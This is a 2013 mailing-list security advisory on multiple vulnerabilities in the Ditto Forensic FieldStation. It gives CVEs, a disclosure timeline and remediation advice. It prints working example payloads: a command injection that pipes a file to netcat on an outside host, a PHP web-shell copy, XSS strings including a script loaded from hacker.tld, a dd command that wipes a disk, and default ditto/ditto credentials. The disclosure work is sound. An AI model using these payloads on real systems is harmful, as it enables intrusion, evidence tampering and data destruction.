Ditto Forensic FieldStation, multiple vulnerabilities

Martin Wundram <[email protected]> Thu, 12 Dec 2013 19:01:06 +0100
Newsgroups gmane.comp.security.full-disclosure,gmane.comp.security.bugtraq,gmane.comp.security.forensics
Message-ID <1556347.5zi51q9NSy@pc>
**************************************************************
Title: Ditto Forensic FieldStation, multiple vulnerabilities
Versions affected: <=3D 2013Oct15a (all)
Vendor: CRU Wiebetech
Discovered by: Martin Wundram
Email: [email protected]
Date found:     2013-04-22
Date published: 2013-12-12
Status: partially patched
**************************************************************


0] =3D=3D=3D=3D=3D=3D=3D=3D Introduction / Background / Impact =3D=3D=3D=3D=
=3D=3D=3D=3D
In computer forensics (http://en.wikipedia.org/wiki/Computer_forensics) one
essential requirement is that evidence data does not get modified at all (o=
r =

not unnoticed, at least). Therefore IT forensic experts use write-blockers =
to =

ensure a read-only access to evidence data like hard disks or USB mass =

storage.

The Ditto Forensic FieldStation is such a special equipment (hardware with
embedded software) used by forensic experts to analyse and copy evidence da=
ta =

in a safe and secure way. The ditto is explicitly marketed as a device to =

acquire data from network file shares, too. This means it is meant to be =

connected to possibly hostile networks of suspects.

However it was found to be vulnerable up to the point of not being reliable=
 as =

a computer forensic device.


1] =3D=3D=3D=3D=3D=3D=3D=3D OS Command Injection =3D=3D=3D=3D=3D=3D=3D=3D
Class: Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
CVE Name: CVE-2013-6881
CVSS v2 Base Score: 10
Overall CVSS v2 Score: 9.2
CVSS v2 Vector:
(AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L)

Several input fields of the web application are vulnerable to OS command
injection. E.g. the application allows the setting of parameters like 'sect=
or
size' or 'skip count' for a forensic imaging task. Because of improper
neutralization in combination with the web server running with root =

privileges, an attacker is able to access and manipulate the complete syste=
m.

Example 1 (setting of 'sector size' =3D 1 with malicious content):

  1;cat /opt/web/htdocs/index.php | nc 192.168.1.1 6666;

Example 2 (setting of 'set-size' =3D 1 with copying a PHP shell from
  the external SD card):

  1;cp /ditto/shell.php /opt/web/htdocs;


2] =3D=3D=3D=3D=3D=3D=3D=3D Persistent XSS =3D=3D=3D=3D=3D=3D=3D=3D
Class: Cross-site Scripting [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Status: unpatched
CVE Name: CVE-2013-6882
CVSS v2 Base Score: 9
Overall CVSS v2 Score (if patched): 9.2
CVSS v2 Vector:
(AV:N/AC:L/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L)
Overall CVSS v2 Score (unpatched): 10

The web application suffers from multiple vulnerabilities regarding XSS. The
first one (a) is critical because an unauthorized attacker is able to push
malicious code into the system and consequently attacking every user. The =

other ones (b) need authentication first.

a) The web application logs every login (including the username) in a not
sanitized way to a system log. Additionally, the web application embeds that
system log rendered as HTML into the start page of every user who successfu=
lly
logs in. Thus an unprivileged attacker can persistently inject malicious co=
de
which attacks all users of the vulnerable system immediately after their =

login.

Example:
 =

POSTDATA=3D
   user=3Ddemo%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
                           &pass=3Ddemo&login=3DLog+In


b) It is easily possible to submit malicious data as input into multiple HT=
ML
form fields (e.g. one can force the system to load externally hosted =

JavaScript code with <script src=3Dhttp://www.hacker.tld/code.js></script>)=
. =

This can result in dangerous situations where the (external) JavaScript cod=
e =

mangles the information displayed about important computer forensic key val=
ues =

whose integrity is crucial.

Example: =

   784 PetaByte (PB) source disk instead of 32 GB, investigator "Al Capone",
     "verify actions: yes" instead of "no", ...


3] =3D=3D=3D=3D=3D=3D=3D=3D Cross-Site Request Forgery =3D=3D=3D=3D=3D=3D=
=3D=3D
Class: Cross-Site Request Forgery [CWE-352]
Impact: Application misuse
Remotely Exploitable: Yes
CVE Name: CVE-2013-6883
CVSS v2 Base Score: 6.6
Overall CVSS v2 Score: 8
CVSS v2 Vector:
(AV:N/AC:H/Au:N/C:P/I:C/A:P/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L)

The web application is vulnerable to attacks using Cross-Site Request Forge=
ry.
E.g. the disk erase technique (correct settings are important for the relia=
ble
deletion of sensitive forensic data) can be changed with a simple POST =

request.


4] =3D=3D=3D=3D=3D=3D=3D=3D Misconfigured Daemon Rights =3D=3D=3D=3D=3D=3D=
=3D=3D
Class: Configuration [CWE-16]
Impact: Full system access

The web server lighthttpd and the PHP engine are run as user 'root'. Thus
injection weaknesses in the 'ditto' web application result in immediate full
system access.


5] =3D=3D=3D=3D=3D=3D=3D=3D Unneeded Daemons/Software =3D=3D=3D=3D=3D=3D=3D=
=3D
Class: Configuration [CWE-16]
Impact: Attackable services
Best matching CCE-ID: CCE-4268-9

Forensic usage needs only write-blocking and imaging of evidence data. =

However, the base system contains further active software and services. Thi=
s =

helps attacking the system and escalating privileges. The tools/daemons are =

especially netcat and an active SSHd. Furthermore, the SSHd binds to the =

network port which is labeled as 'source' and thus intended for usage in =

supposedly hostile network environments - the network containing evidence d=
ata =

from suspects.


6] =3D=3D=3D=3D=3D=3D=3D=3D Use of standard credentials =3D=3D=3D=3D=3D=3D=
=3D=3D
Class: Use of Hard-coded Credentials [CWE-798]
Impact: unwanted full system access
Remotely Exploitable: Yes
CVE Name: CVE-2013-6884
CVSS v2 Base Score: 10
Overall CVSS v2 Score: 9.2
CVSS v2 Vector:
(AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:O/RC:C/CDP:MH/TD:ND/CR:H/IR:H/AR:L)

The ditto write-blocker contains a default system user named 'ditto' with t=
he
default password 'ditto' which is allowed to elevate its user rights to root
(sudo) without further authentication. In combination with the active SSHd, =

this vulnerability allows attackers full access to the ditto if it gets =

connected to the same/reachable network.


7] =3D=3D=3D=3D=3D=3D=3D=3D Misconfigured Core System =3D=3D=3D=3D=3D=3D=3D=
=3D
Class: Configuration [CWE-16]
Impact: Alteration of evidence data
Remotely Exploitable: Yes

Although explicitly marketed as a hardware write-blocker, the ditto does not
implement any specific write-blocking mechanism at all. The underlying syst=
em =

is able to manipulate or even erase evidence on devices which are connected=
 to =

the 'source side' of the ditto. The problem is: no hardware-level, no drive=
r-
level and no kernel-level (blockdev) write-blocking are implemented. Only t=
he =

web application prevents the user from writing to the source media. That is =

just security by obscurity. Finally, every critical weakness or simple =

malfunction in the web application can potentiallly lead to overwriting of =

source/evidence data. =


Furthermore, the embedded Linux system itself mounts the system partition as
writable. Thus malware could be persistently deployed!

Example:
  One can simply overwrite supposedly write-protected source data (USB stic=
k =

and
SATA disk) with
     dd if=3D/dev/zero of=3D/dev/sda.


8] =3D=3D=3D=3D=3D=3D=3D=3D Solution =3D=3D=3D=3D=3D=3D=3D=3D
Upgrade your ditto to the newest available firmware (2013Oct15a). Don't =

connect the device to potentially hostile networks. Examine your device if =
it =

has been manipulated at an earlier time (has someone placed a backdoor in t=
he =

embedded Linux, or a malware which silently manipulates evidence data or =

copies of evidence data?).


9] =3D=3D=3D=3D=3D=3D=3D=3D Report Timeline =3D=3D=3D=3D=3D=3D=3D=3D
2013-04-22 Discovery of vulnerabilities
2013-04-23 First contact with vendor including agreement about later public
           disclosure
2013-04-26 Detailed information about vulnerabilities provided to vendor
2013-06-30 Vendor fixes some vulnerabilities with firmware 2013Jun30a
2013-10-15 Vendor fixes some vulnerabilities with firmware 2013Oct15a
2013-11-26 Information with details provided to vendor about upcoming public
           disclosure. Vendor gave feedback regarding technical accuracy of
           this report
2013-12-12 Public disclosure


10] =3D=3D=3D=3D=3D=3D=3D=3D Discussion =3D=3D=3D=3D=3D=3D=3D=3D
Because integrity is of utmost importance during the forensic process (corr=
ect
handling of evidence data and correct deduction of conclusions and
implications), even small vulnerabilities in forensic tools and devices bec=
ome
critical.


11] =3D=3D=3D=3D=3D=3D=3D=3D References =3D=3D=3D=3D=3D=3D=3D=3D
a)
http://www.cru-inc.com/support/software-downloads/ditto-firmware-
updates/ditto-firmware-release-notes-2013oct15a/
b)
http://www.cru-inc.com/support/software-downloads/ditto-firmware-
updates/ditto-firmware-release-notes-2013jun30a/


-- =

Diplom-Wirtschaftsinformatiker Martin G. Wundram

DigiTrace GmbH - Kompetenz in IT-Forensik
Gesch=E4ftsf=FChrer: Alexander Sigel, Martin Wundram
Registergericht K=F6ln, HR B 72919
USt-IdNr: DE278529699

Zollstockg=FCrtel 59, 50969 K=F6ln
Telefon: 0221-6 77 86 95-0
Website: www.DigiTrace.de
E-Mail: [email protected]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/